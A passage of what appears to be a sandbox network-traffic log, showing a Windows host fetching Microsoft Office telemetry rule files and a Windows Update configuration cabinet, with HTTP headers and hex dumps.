2024-11-20 23:03:52 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:51 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 443fb44f-501e-0029-3f61-3bd0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230351Z-178bfbc474b9fdhphC1NYCac0n00000000kg00000000cz98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:51 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:52 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:52 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230351Z-178bfbc474btvfdfhC1NYCa2en00000000u0000000000bbr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:52 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:51 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:52 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230352Z-r1d97b9957747b9jhC1TEBgyec00000009ng00000000cwrh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:52 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:52 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:52 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230352Z-r1d97b99577dd2gchC1TEBz5ys00000009e0000000001z71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:52 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:52 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:52 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: fc6be6d3-301e-0033-058c-3afa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230352Z-1777c6cb754ww792hC1TEBzqu40000000a0000000000ttxb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:52 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:53 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 21476416-401e-00a3-1c88-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230354Z-1777c6cb754xjpthhC1TEBexs800000009z000000000yh6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:54 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.7	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:53 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:54 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 53c7b981-401e-0064-3afc-3a54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230354Z-r1d97b9957747b9jhC1TEBgyec00000009m000000000gcep x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:54 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.7	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:54 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:54 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:54 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230354Z-r1d97b995774zjnrhC1TEBv1ww00000009c000000000su8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:54 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.7	49906	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:54 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:54 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:54 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: b82dd3a8-b01e-0053-0e8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230354Z-178bfbc474bxkclvhC1NYC69g400000000f000000000eexr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 23:03:54 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.7	49907	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:54 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 23:03:55 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 23:03:54 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 0b679675-f01e-005d-336b-3b13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T230354Z-178bfbc474bnwsh4hC1NYC2ubs00000000sg000000007krx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 23:03:55 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.7	49913	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:55 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=HBsmZ7B8yt7KLyP&MD=HXNXESRZ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-20 23:03:56 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 7ae42e8a-18e8-4fc2-ac0c-88ec283e2526 MS-RequestId: a20403c9-9561-41ef-9985-6c3a5960a702 MS-CV: VJGrtme5tUWCivPq.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Nov 2024 23:03:55 GMT Connection: close Content-Length: 30005
2024-11-20 23:03:56 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-20 23:03:56 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.7	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 23:03:56 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
